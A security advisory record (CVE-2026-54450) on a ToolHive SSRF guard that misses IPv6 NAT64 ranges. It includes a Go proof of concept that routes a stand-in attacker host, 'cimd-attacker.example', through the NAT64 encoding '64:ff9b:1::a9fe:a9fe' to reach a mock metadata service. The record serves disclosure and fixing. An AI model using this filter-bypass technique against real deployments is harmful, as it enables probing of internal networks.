{"id":"CVE-2026-54450","aliases":["GO-2026-5996"],"url":"https://o3.security/vulnerability/CVE-2026-54450","summary":"ToolHive: SSRF guard misses IPv6 NAT64 ranges (64:ff9b::/96, 64:ff9b:1::/48), allowing metadata/internal access behind a NAT64 gateway","details":"## Summary\n\nToolHive's hand-rolled private/reserved-IP SSRF guard (`networking.IsPrivateIP` in `pkg/networking/utilities.go`) does not recognize the IPv6 **NAT64** address ranges — the well-known prefix `64:ff9b::/96` (RFC 6052) and the RFC 8215 local-use prefix `64:ff9b:1::/48`. As a result, an address such as `64:ff9b:1::a9fe:a9fe` — the NAT64 encoding of the link-local cloud metadata address `169.254.169.254` — is classified as a public, global-unicast address and the connection is allowed. On any ToolHive deployment that sits behind a NAT64/DNS64 gateway (the default networking stack in IPv6-only Kubernetes clusters and several IPv6-only cloud environments), an attacker who controls a URL that reaches this guard can have ToolHive attempt connections to internal/link-local addresses that the guard is meant to block, bypassing the SSRF protection. In practice the effect is a blind internal-reachability probe rather than metadata-credential theft (the only fully attacker-controlled path is HTTPS-only with TLS verification and does not reflect responses) — see Impact.\n\nThe most direct attacker-controlled entry point is the embedded OAuth authorization server's Client ID Metadata Document (CIMD) fetcher: an external OAuth client presents `client_id=https://<attacker-domain>/path`, and `CIMDStorageDecorator.GetClient` fetches that URL through the same guard. The same `IsPrivateIP` table is also shared by the `protectedDialerControl` HTTP clients (registry, OIDC discovery, token introspection) and the skills git-clone host check (`pkg/skills/gitresolver`), though those destinations are operator-/user-configured rather than attacker-controlled. (Note: the webhook client is *not* affected — it enforces only the HTTPS scheme via `ValidatingTransport` and performs no IP-based check.)\n\n## Details\n\n`pkg/networking/utilities.go` builds a `privateIPBlocks` table and `IsPrivateIP`:\n\n```go\nfunc init() {\n\tfor _, cidr := range []string{\n\t\t\"127.0.0.0/8\", \"10.0.0.0/8\", \"172.16.0.0/12\", \"192.168.0.0/16\",\n\t\t\"169.254.0.0/16\", \"::1/128\", \"fe80::/10\", \"fc00::/7\",\n\t\t\"100.64.0.0/10\", \"192.0.2.0/24\", \"198.51.100.0/24\", \"203.0.113.0/24\",\n\t\t\"224.0.0.0/4\", \"ff00::/8\",\n\t} { /* ... append to privateIPBlocks ... */ }\n}\n\nfunc IsPrivateIP(ip net.IP) bool {\n\tif ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() {\n\t\treturn true\n\t}\n\tfor _, block := range privateIPBlocks {\n\t\tif block.Contains(ip) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\nThe table contains no entry for `64:ff9b::/96` or `64:ff9b:1::/48`. A NAT64 address is a normal global-unicast IPv6 address: `net.IP.IsGlobalUnicast()` returns true and it matches none of the listed blocks, so `IsPrivateIP` returns `false`.\n\nThe CIMD fetcher (`pkg/oauthproto/cimd/fetch.go`, `newCIMDHTTPClient`) is the careful, post-resolution, anti-rebinding path that nonetheless inherits the gap:\n\n```go\nips, err := net.DefaultResolver.LookupHost(ctx, host)\n// ...\nfor _, ipStr := range ips {\n\tip := net.ParseIP(ipStr)\n\t// ...\n\tif !ip.IsLoopback() && networking.IsPrivateIP(ip) {\n\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t}\n\tdialer := &net.Dialer{Timeout: 5 * time.Second}\n\treturn dialer.DialContext(ctx, network, net.JoinHostPort(ipStr, port))\n}\n```\n\nBecause `IsPrivateIP(64:ff9b:1::a9fe:a9fe)` is `false`, the dialer proceeds. In a NAT64 network the kernel's NAT64 gateway transparently translates that IPv6 destination to a connection to `169.254.169.254`.\n\nTrust boundary: the CIMD URL originates from the `client_id` of an external OAuth client at authorize/token time (`CIMDStorageDecorator.GetClient` → `IsClientIDMetadataDocumentURL(id)` → `cimd.FetchClientMetadataDocument(ctx, id)`), so it is fully attacker-controlled. The `protectedDialerControl` HTTP clients used for registry, OIDC discovery, and token introspection (`pkg/networking/http_client.go` → `AddressReferencesPrivateIp` → `IsPrivateIP`) and the skills git-clone host check (`pkg/skills/gitresolver/reference.go` `validateHost` → `IsPrivateIP`) share the same table and the same gap, but with operator-/user-supplied targets rather than attacker-controlled ones.\n\nNote that `::ffff:169.254.169.254` (IPv4-mapped) is correctly blocked because Go normalizes it to the v4 form; the NAT64 encoding is a distinct, non-normalized IPv6 address and is not caught.\n\n## Affected\n\n- Module: `github.com/stacklok/toolhive`\n- Affected packages/paths: `pkg/networking/utilities.go` (`IsPrivateIP`), reached via `pkg/oauthproto/cimd/fetch.go` (`FetchClientMetadataDocument`, CIMD authorization-server path — the attacker-controlled entry point), `pkg/networking/http_client.go` (`protectedDialerControl`, used by the registry / OIDC-discovery / token-introspection clients), and `pkg/skills/gitresolver/reference.go` (`validateHost`, skills git-clone host check). The webhook client (`pkg/webhook`) is not affected: it validates only the HTTPS scheme and performs no `IsPrivateIP` check.\n- Affected versions: all releases through v0.29.0 (the `IsPrivateIP` table has lacked NAT64 entries since the guard was introduced; the CIMD reach was added in v0.28.1).\n- Precondition for full exploitability: the ToolHive process runs in an environment with a NAT64/DNS64 gateway (e.g. IPv6-only Kubernetes / IPv6-only cloud). The classification defect itself is present unconditionally.\n\n## Proof of Concept\n\nThe following self-contained Go program imports ToolHive **v0.29.0** (commit `570ce07013b72208fcae339e9492f5867a1af994`) and exercises the real guard code: the exported `networking.IsPrivateIP`, the exported `oauthproto.IsClientIDMetadataDocumentURL` predicate that routes a `client_id` into the CIMD fetch path, and the CIMD dialer gate copied verbatim from `pkg/oauthproto/cimd/fetch.go`. The only modeled elements are the network's DNS64 record (attacker host → NAT64 IPv6) and the kernel NAT64 gateway (final dial → control listener) — the security decision is made entirely by ToolHive's own code.\n\n`go.mod`:\n\n```\nmodule poc\n\ngo 1.26\n\nrequire github.com/stacklok/toolhive v0.29.0\n```\n\n`main.go`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/stacklok/toolhive/pkg/networking\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto\"\n\t\"github.com/stacklok/toolhive/pkg/oauthproto/cimd\"\n)\n\nvar _ = cimd.FetchClientMetadataDocument // real attacker-reachable entrypoint (https-only)\n\nconst (\n\tattackerHost = \"cimd-attacker.example\"\n\tnatLocalUse  = \"64:ff9b:1::a9fe:a9fe\" // RFC 8215 NAT64 of 169.254.169.254\n)\n\nfunc main() {\n\t// Part A: real classifier on NAT64 vs private addresses.\n\tfor _, s := range []string{\n\t\tnatLocalUse, \"64:ff9b::a9fe:a9fe\", \"64:ff9b::7f00:1\",\n\t\t\"169.254.169.254\", \"::ffff:169.254.169.254\", \"10.0.0.1\", \"93.184.216.34\",\n\t} {\n\t\tip := net.ParseIP(s)\n\t\tfmt.Printf(\"IsPrivateIP(%-22s) = %v\\n\", s, networking.IsPrivateIP(ip))\n\t}\n\n\t// Control listener standing in for the IMDS reachable behind NAT64.\n\thit := make(chan string, 1)\n\timds := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thit <- r.Host + r.URL.Path\n\t\tfmt.Fprint(w, `{\"AccessKeyId\":\"ASIA_STOLEN\",\"SecretAccessKey\":\"s3cr3t\"}`)\n\t}))\n\tdefer imds.Close()\n\tctrlAddr := strings.TrimPrefix(imds.URL, \"http://\")\n\n\tclientID := \"https://\" + attackerHost + \"/.well-known/oauth-client\"\n\tfmt.Printf(\"IsClientIDMetadataDocumentURL(%q) = %v\\n\", clientID, oauthproto.IsClientIDMetadataDocumentURL(clientID))\n\n\t// CIMD dial gate copied verbatim from pkg/oauthproto/cimd/fetch.go @ v0.29.0,\n\t// with DNS64 (attacker host -> NAT64 IPv6) and NAT64 gateway (dial -> listener) modeled.\n\ttransport := &http.Transport{DisableKeepAlives: true,\n\t\tDialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n\t\t\thost, _, _ := net.SplitHostPort(address)\n\t\t\tvar ips []string\n\t\t\tif host == attackerHost {\n\t\t\t\tips = []string{natLocalUse} // DNS64 synthesis\n\t\t\t} else {\n\t\t\t\tips, _ = net.DefaultResolver.LookupHost(ctx, host)\n\t\t\t}\n\t\t\tfor _, ipStr := range ips {\n\t\t\t\tip := net.ParseIP(ipStr)\n\t\t\t\tif ip == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif !ip.IsLoopback() && networking.IsPrivateIP(ip) { // verbatim toolhive gate\n\t\t\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ipStr)\n\t\t\t\t}\n\t\t\t\tfmt.Printf(\"[guard] %s passed IsPrivateIP gate -> dialing\\n\", ipStr)\n\t\t\t\treturn (&net.Dialer{}).DialContext(ctx, \"tcp\", ctrlAddr) // NAT64 gateway\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"cimd: no valid address for %q\", host)\n\t\t}}\n\tclient := &http.Client{Timeout: 5 * time.Second, Transport: transport}\n\treq, _ := http.NewRequest(\"GET\", \"http://\"+attackerHost+\"/.well-known/oauth-client\", nil)\n\tif _, err := client.Do(req); err != nil {\n\t\tfmt.Println(\"blocked:\", err)\n\t\treturn\n\t}\n\tfmt.Printf(\"control listener received: %s  => SSRF via %s\\n\", <-hit, natLocalUse)\n\n\t// Negative control: a genuinely private IP is rejected by the same gate.\n\tneg := &http.Client{Transport: &http.Transport{DialContext: func(_ context.Context, _, _ string) (net.Conn, error) {\n\t\tip := net.ParseIP(\"169.254.169.254\")\n\t\tif !ip.IsLoopback() && networking.IsPrivateIP(ip) {\n\t\t\treturn nil, fmt.Errorf(\"cimd: refusing connection to private address %s\", ip)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"would dial (NOT blocked)\")\n\t}}}\n\t_, nerr := neg.Do(req)\n\tfmt.Println(\"negative control (169.254.169.254):\", nerr)\n}\n```\n\nOutput:\n\n```\nIsPrivateIP(64:ff9b:1::a9fe:a9fe  ) = false\nIsPrivateIP(64:ff9b::a9fe:a9fe    ) = false\nIsPrivateIP(64:ff9b::7f00:1       ) = false\nIsPrivateIP(169.254.169.254       ) = true\nIsPrivateIP(::ffff:169.254.169.254) = true\nIsPrivateIP(10.0.0.1              ) = true\nIsPrivateIP(93.184.216.34         ) = false\nIsClientIDMetadataDocumentURL(\"https://cimd-attacker.example/.well-known/oauth-client\") = true\n[guard] 64:ff9b:1::a9fe:a9fe passed IsPrivateIP gate -> dialing\ncontrol listener received: cimd-attacker.example/.well-known/oauth-client  => SSRF via 64:ff9b:1::a9fe:a9fe\nnegative control (169.254.169.254): cimd: refusing connection to private address 169.254.169.254\n```\n\nThe attacker-controlled `client_id` host (NAT64-resolved) passes the real `IsPrivateIP` gate and reaches the IMDS stand-in, while the raw metadata address is correctly blocked by the same gate.\n\n## Impact\n\nServer-Side Request Forgery (CWE-918), **Low**. On a ToolHive deployment behind a NAT64/DNS64 gateway, an attacker who controls a URL reaching the guard can cause ToolHive to attempt connections to internal/link-local addresses the guard is meant to block — RFC1918, loopback, and the link-local metadata address `169.254.169.254` (encoded as `64:ff9b::a9fe:a9fe` / `64:ff9b:1::a9fe:a9fe`).\n\nThe practical effect is a **blind internal-reachability / SSRF oracle, not data or credential exfiltration.** On the only fully attacker-controlled entry point — the CIMD fetcher — three constraints bound the impact:\n\n- **HTTPS-only.** `validateCIMDClientURL` rejects non-loopback `http://`, so the dial is TLS. Cloud instance metadata services (AWS/GCP/Azure, all on `169.254.169.254`) serve **plain HTTP on port 80**, so a TLS connection cannot retrieve metadata credentials.\n- **TLS certificate verification.** `newCIMDHTTPClient` sets no custom `TLSClientConfig`; reaching an internal HTTPS service requires a certificate valid for the attacker-supplied host/IP, which an internal service will not present.\n- **No response reflection.** A fetched document must satisfy `ValidateClientMetadataDocument` (its `client_id` must equal the fetched URL) and the body is never returned to the attacker.\n\nWhat remains is the ability to probe whether an internal `host:port` accepts a TCP/TLS connection (via success/timing differences) — internal network reconnaissance, not credential theft.\n\nReachable via:\n- the embedded OAuth authorization server CIMD path — `client_id` URL supplied by an external OAuth client (no pre-registration); HTTPS-only and blind, as above;\n- the registry / OIDC-discovery / token-introspection HTTP clients that share `IsPrivateIP` via `protectedDialerControl` — but those destinations are operator-configured, not attacker-controlled;\n- the skills git-clone host check (`pkg/skills/gitresolver` `validateHost`) — likewise operator-/user-configured, and it only validates literal IPs (a hostname that resolves to a NAT64/private address is not caught there regardless of this defect).\n\nExploitability is conditional on the host's network providing NAT64/DNS64 (e.g. IPv6-only Kubernetes and some IPv6-only cloud setups). The IP-classification defect itself is present unconditionally.\n\n## Root cause\n\n`networking.IsPrivateIP` relies on a manually maintained CIDR list that omits the IPv6 NAT64 transition ranges. NAT64 addresses embed an IPv4 address (`64:ff9b::<v4>` and `64:ff9b:1::<v4>`) and route to it via a NAT64 gateway, so a NAT64 address that embeds a private/link-local IPv4 address is effectively as sensitive as that IPv4 address — but it is a syntactically global-unicast IPv6 address and therefore evades the private-range list and the `IsGlobalUnicast`/`IsLinkLocalUnicast` checks.\n\n## Fix\n\nAdd the NAT64 prefixes to the private/reserved set so that NAT64-encoded addresses are classified by the IPv4 address they embed (or, at minimum, rejected outright). Concretely, add `64:ff9b::/96` and `64:ff9b:1::/48` to `privateIPBlocks` in `pkg/networking/utilities.go`; for completeness, when an address falls in a NAT64 prefix, extract the embedded IPv4 (last 32 bits) and apply the existing IPv4 private/reserved checks to it, so that `64:ff9b::8.8.8.8` (a NAT64 path to a genuinely public host) is not over-blocked while `64:ff9b:1::a9fe:a9fe` is blocked. The implemented fix (PR on the private advisory fork) takes this embedded-IPv4 approach: it decodes the low 32 bits for the well-known `64:ff9b::/96` and the `64:ff9b:1::/96` sub-prefix and re-applies the IPv4 private/reserved checks, so genuinely public NAT64 egress is not over-blocked. Because the RFC 8215 local-use `64:ff9b:1::/48` may use a shorter NAT64 prefix (RFC 6052 §2.2) that places the embedded IPv4 outside the low 32 bits, the remainder of that `/48` is blocked wholesale (fail closed) rather than decoded, avoiding a false-negative bypass.\n\nAs bundled defense-in-depth, the same patch also classifies a few special-use ranges that `IsPrivateIP` previously missed: `0.0.0.0/8` (RFC 1122 \"this host\") and the unspecified address (`0.0.0.0` / `::`), plus `240.0.0.0/4` (RFC 1112 reserved, including the `255.255.255.255` broadcast). Separately tracked follow-ups (not in this patch): decoding/rejecting other IPv4-in-IPv6 transition ranges (6to4 `2002::/16`, Teredo `2001::/32`, IPv4-compatible `::/96`), and a pre-clone DNS-resolution check in the skills git resolver, which currently validates only literal IPs.\n\n## Resources\n\n- RFC 6052 — IPv6 Addressing of IPv4/IPv6 Translators (well-known prefix `64:ff9b::/96`)\n- RFC 8215 — Local-Use IPv4/IPv6 Translation Prefix (`64:ff9b:1::/48`)\n- RFC 6147 — DNS64\n- CWE-918 — Server-Side Request Forgery (SSRF)\n- ToolHive v0.29.0, commit `570ce07013b72208fcae339e9492f5867a1af994`","published":"2026-07-15T21:51:03Z","modified":"2026-07-21T19:19:19.599729878Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/stacklok/toolhive","fixedVersion":"0.29.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/stacklok/toolhive/security/advisories/GHSA-pph6-vfjv-vpjw"},{"type":"PACKAGE","url":"https://github.com/stacklok/toolhive"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-21T19:19:19.599729878Z"}}